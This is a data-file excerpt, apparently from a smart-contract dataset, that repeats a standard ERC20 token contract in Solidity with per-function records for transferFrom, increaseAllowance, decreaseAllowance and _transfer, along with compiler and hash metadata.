contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 3585, 4008 ] }
14,156
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 4412, 4628 ] }
14,157
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 5126, 5504 ] }
14,158
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 5989, 6598 ] }
14,159
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
